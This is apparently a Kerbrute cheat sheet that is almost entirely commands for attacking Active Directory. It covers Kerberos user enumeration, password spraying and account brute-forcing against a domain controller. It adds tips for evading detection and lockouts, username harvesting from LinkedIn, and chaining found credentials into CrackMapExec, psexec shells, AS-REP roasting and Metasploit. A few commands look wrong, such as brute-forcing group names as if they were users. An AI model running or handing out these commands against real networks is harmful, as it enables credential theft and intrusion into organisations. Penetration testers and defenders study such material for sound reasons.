Kerbrute is a high-performance Go-based utility for enumerating Active Directory users and performing password spraying via Kerberos. It avoids NTLM rate-limiting and logs by querying the KDC directly, making it stealthier and faster than traditional methods.
# Download latest release from GitHub
wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64
chmod +x kerbrute_linux_amd64
./kerbrute_linux_amd64 --version
# Install using Go 1.16+
go install github.com/ropnop/kerbrute@latest
which kerbrute
# Clone repository
git clone https://github.com/ropnop/kerbrute.git
cd kerbrute
go build -o kerbrute main.go
# Build for specific OS
GOOS=windows GOARCH=amd64 go build -o kerbrute.exe main.go
GOOS=darwin GOARCH=amd64 go build -o kerbrute_mac main.go
kerbrute userenum --dc 192.168.1.10 -d corp.local users.txt
kerbrute passwordspray --dc 192.168.1.10 -d corp.local users.txt P@ssw0rd123
kerbrute bruteuser --dc 192.168.1.10 -d corp.local passwords.txt jsmith
# Basic user enumeration against Domain Controller
kerbrute userenum -d domain.local --dc 10.0.0.5 users.txt
# With verbose output to see each attempt
kerbrute userenum -d domain.local --dc 10.0.0.5 -v users.txt
# Save results to file
kerbrute userenum -d domain.local --dc 10.0.0.5 -o valid_users.txt users.txt
# Query specific DC if primary is unavailable
kerbrute userenum -d domain.local --dc dc1.domain.local users.txt
kerbrute userenum -d domain.local --dc dc2.domain.local users.txt
# Identify users without pre-authentication required
kerbrute userenum -d domain.local --dc 10.0.0.5 users.txt
# Look for successful responses from users without Kerberos pre-auth
# Spray single password to avoid lockouts
kerbrute passwordspray --dc 192.168.1.10 -d corp.local users.txt "Password123"
# With increased delay between attempts (milliseconds)
kerbrute passwordspray --dc 192.168.1.10 -d corp.local -v --delay 100 users.txt "P@ssw0rd"
# Reduce thread count for stealth
kerbrute passwordspray --dc 192.168.1.10 -d corp.local --threads 2 users.txt "Welcome123"
# Use --safe flag to stop after 10 failed attempts per user
kerbrute passwordspray --safe --dc 192.168.1.10 -d corp.local users.txt "Temp123"
# Downgrade to negotiate lower Kerberos version
kerbrute passwordspray --dc 192.168.1.10 -d corp.local --downgrade users.txt "Pass123"
# Create password file with common passwords
echo "Password123" > passwords.txt
echo "Welcome123" >> passwords.txt
echo "P@ssw0rd" >> passwords.txt
# Spray each password to avoid lockouts
for pass in $(cat passwords.txt); do
kerbrute passwordspray --dc 192.168.1.10 -d corp.local users.txt "$pass"
sleep 300 # 5 minute delay between password sprays
done
# Brute force password for known user
kerbrute bruteuser --dc 192.168.1.10 -d corp.local passwords.txt jsmith
# With verbose output
kerbrute bruteuser -v --dc 192.168.1.10 -d corp.local passwords.txt administrator
# With custom delay
kerbrute bruteuser --dc 192.168.1.10 -d corp.local --delay 50 passwords.txt testuser
# Brute force high-value accounts
kerbrute bruteuser --dc 192.168.1.10 -d corp.local passwords.txt admin
kerbrute bruteuser --dc 192.168.1.10 -d corp.local passwords.txt svc_account
kerbrute bruteuser --dc 192.168.1.10 -d corp.local passwords.txt root
| Option | Description | Example |
|---|
--dc | Domain Controller IP or hostname | --dc 192.168.1.10 |
-d, --domain | Target domain name | -d corp.local |
-v, --verbose | Verbose output for each attempt | -v |
--safe | Stop after 10 failed attempts per user | --safe |
--delay | Delay in milliseconds between requests | --delay 100 |
--threads | Number of concurrent threads (default: 10) | --threads 5 |
-o, --output | Output file for results | -o results.txt |
--downgrade | Negotiate Kerberos v5 (avoid newer versions) | --downgrade |
--max-retries | Retries for failed requests | --max-retries 3 |
-j, --json | JSON output format | -j |
# Common Active Directory username patterns
# firstname.lastname
cat names.txt | awk '{print tolower($1"."$2)}' > usernames.txt
# First initial + lastname
cat names.txt | awk '{print tolower(substr($1,1,1)$2)}' >> usernames.txt
# Firstname + last initial
cat names.txt | awk '{print tolower($1 substr($2,1,1))}' >> usernames.txt
# Full firstname
cat names.txt | awk '{print tolower($1)}' >> usernames.txt
# Generate usernames from LinkedIn or employee lists
# Install: pip3 install linkedin2username
linkedin2username -f names.txt -d corp.local -o usernames.txt
# Common format combinations
./linkedin2username -f employees.csv -fr
# Common service account patterns
echo "svc_admin" > common_users.txt
echo "svc_sql" >> common_users.txt
echo "svc_exchange" >> common_users.txt
echo "administrator" >> common_users.txt
echo "guest" >> common_users.txt
echo "krbtgt" >> common_users.txt
# Combine with enumeration results
cat common_users.txt potential_users.txt > full_userlist.txt
sort -u full_userlist.txt > final_users.txt
# Download common AD username lists
wget https://raw.githubusercontent.com/insidetrust/statistically-likely-usernames/master/domain_users.txt
# Use multiple sources
cat domain_users.txt >> combined_users.txt
cat probable_users.txt >> combined_users.txt
sort -u combined_users.txt > final_users.txt
# Query lockout threshold via LDAP
ldapsearch -h 10.0.0.5 -x -b "DC=corp,DC=local" "(lockoutThreshold=*)" lockoutThreshold
# Typical policies: 5 attempts = 30 minute lockout
# Plan spray accordingly: 1 password per user per 30+ minutes
# Example: 500 users, 5 attempt lockout, 30 min lockout period
# Spray 1 password every 30 minutes to stay under threshold
# Password 1: Day 1 at 9:00 AM
kerbrute passwordspray --dc 10.0.0.5 -d corp.local users.txt "Password123"
# Wait 30+ minutes
# Password 2: Day 1 at 10:00 AM
kerbrute passwordspray --dc 10.0.0.5 -d corp.local users.txt "Welcome123"
# Wait 30+ minutes
# Password 3: Day 1 at 11:00 AM
kerbrute passwordspray --dc 10.0.0.5 -d corp.local users.txt "P@ssw0rd"
# Small business (less monitoring)
Password123
Temp123
Admin123
Welcome123
# Enterprise (more hardened)
CompanyName2024
(current_year)Company
Q1P@ssw0rd
SeasonalYear#2024
# For 50 users with 5 attempt lockout:
# 50 users / 5 attempts = 10 spray rounds needed
# 30 minute lockout = 5 hours between sprays minimum
# 10 sprays × 5 hours = 50 hours minimum spray campaign
# Reduce threads to minimize suspicion
kerbrute passwordspray --threads 1 --delay 50 --dc 10.0.0.5 -d corp.local users.txt "Pass123"
# Standard text output
kerbrute userenum -d corp.local --dc 10.0.0.5 -o valid_users.txt users.txt
# JSON output for parsing
kerbrute userenum -d corp.local --dc 10.0.0.5 -j users.txt > results.json
# Filter valid credentials from password spray
kerbrute passwordspray --dc 10.0.0.5 -d corp.local users.txt "Pass123" | grep -i valid
# Extract valid usernames only
grep "\[+\]" valid_users.txt | awk '{print $NF}' > confirmed_users.txt
# Extract valid credentials
grep "valid" spray_results.txt | awk '{print $NF}' > valid_creds.txt
# Count successful matches
grep "\[+\]" results.txt | wc -l
# Export results for CrackMapExec
kerbrute passwordspray -o creds.txt --dc 10.0.0.5 -d corp.local users.txt "Pass123"
grep valid creds.txt > valid_creds.txt
# Feed to crackmapexec
crackmapexec smb 192.168.1.0/24 -u valid_creds.txt -p '' --continue-on-success
# Enumerate users, then roast with Rubeus
kerbrute userenum -d corp.local --dc 10.0.0.5 users.txt > valid_users.txt
# On Windows, use Rubeus to roast found users
Rubeus.exe asreproast /outfile:hashes.txt
# Or use impacket on Linux
GetNPUsers.py corp.local/ -usersfile valid_users.txt -dc-ip 10.0.0.5
# Use kerbrute results with Impacket tools
kerbrute passwordspray -o results.txt --dc 10.0.0.5 -d corp.local users.txt "Pass123"
# Extract credentials and use with psexec
grep valid results.txt | awk -F: '{print $1}' > valid_users.txt
psexec.py corp.local/username:password@target_ip cmd.exe
# Get valid users from kerbrute
kerbrute userenum -o users.txt --dc 10.0.0.5 -d corp.local userlist.txt
# Spray passwords and validate
kerbrute passwordspray -o spray_results.txt --dc 10.0.0.5 -d corp.local users.txt "Password123"
# Use valid credentials with CME
crackmapexec smb 192.168.1.0/24 -u valid_users.txt -p "Password123" --continue-on-success
# Enumerate high-value targets via BloodHound
# Identify service accounts and privileged users
# Target those accounts with kerbrute
kerbrute bruteuser --dc 10.0.0.5 -d corp.local passwords.txt "Domain Admins"
kerbrute bruteuser --dc 10.0.0.5 -d corp.local passwords.txt "Enterprise Admins"
# Verify DC connectivity
nslookup dc.corp.local 10.0.0.5
nmap -p 88 10.0.0.5 # Kerberos port
# Test with verbose output
kerbrute userenum -v --dc 10.0.0.5 -d corp.local userlist.txt
# Ensure domain name matches Kerberos realm
# kinit username@CORP.LOCAL
# Increase threads (may trigger alarms)
kerbrute userenum --threads 20 --dc 10.0.0.5 -d corp.local users.txt
# Reduce delay if DC is local
kerbrute userenum --delay 10 --dc 10.0.0.5 -d corp.local users.txt
# Check DC load and network latency
ping -c 1 10.0.0.5
time kerbrute userenum --dc 10.0.0.5 -d corp.local users.txt
# Configure /etc/krb5.conf if needed
[libdefaults]
default_realm = CORP.LOCAL
dns_lookup_kdc = false
[realms]
CORP.LOCAL = {
kdc = 10.0.0.5
admin_server = 10.0.0.5
}
# Test Kerberos connectivity
kinit -C username@CORP.LOCAL
klist
# Verify username format matches AD
# Try variations: user, user@corp.local, CORP.LOCAL\user
# Use verbose mode to see actual responses
kerbrute userenum -v --dc 10.0.0.5 -d corp.local users.txt | grep -i error
# Check if pre-authentication is required
GetNPUsers.py corp.local/ -usersfile users.txt -dc-ip 10.0.0.5
# 1. Always use --safe flag in production environments
kerbrute passwordspray --safe --dc 10.0.0.5 -d corp.local users.txt "Pass123"
# 2. Use minimal threads to avoid detection
kerbrute passwordspray --threads 1 --dc 10.0.0.5 -d corp.local users.txt "Pass123"
# 3. Implement delays between attempts
kerbrute passwordspray --delay 200 --dc 10.0.0.5 -d corp.local users.txt "Pass123"
# 4. Respect lockout policies
# Research AD lockout threshold and lockout duration first
# 1. Start with user enumeration on valid users
kerbrute userenum --dc 10.0.0.5 -d corp.local userlist.txt
# 2. Build high-confidence password list before spraying
# Research company, use common patterns, seasonal passwords
# 3. Log all activity for reporting
kerbrute userenum -o enum_results.txt --dc 10.0.0.5 -d corp.local users.txt
kerbrute passwordspray -o spray_results.txt --dc 10.0.0.5 -d corp.local users.txt "Pass123"
# 4. Verify results are accurate
# Cross-reference with other sources (BloodHound, LDAP, etc.)
# 1. Target high-value users first
# Service accounts, administrative accounts, privileged users
# 2. Combine multiple intelligence sources
# LinkedIn scraping, organizational charts, job postings
# 3. Use domain information to predict password patterns
# Company name, founding year, location
# 4. Batch similar operations
# Group multiple users together, spray multiple passwords at once
| Tool | Purpose | Integration |
|---|
| Rubeus | AS-REP roasting, Kerberos manipulation | Feed enumeration results for roasting |
| Impacket GetNPUsers | AS-REP roasting on Linux | Validate and crack ASREP hashes |
| CrackMapExec | SMB/LDAP/Kerberos validation | Verify credentials across network |
| BloodHound | AD enumeration and analysis | Identify high-value targets |
| Hashcat | Hash cracking | Crack AS-REP hashes from roasting |
| linkedin2username | Username generation | Create wordlists from names |
| Spray | Python password spraying | Alternative spray tool for Python |
| Metasploit | Exploitation framework | Leverage discovered credentials |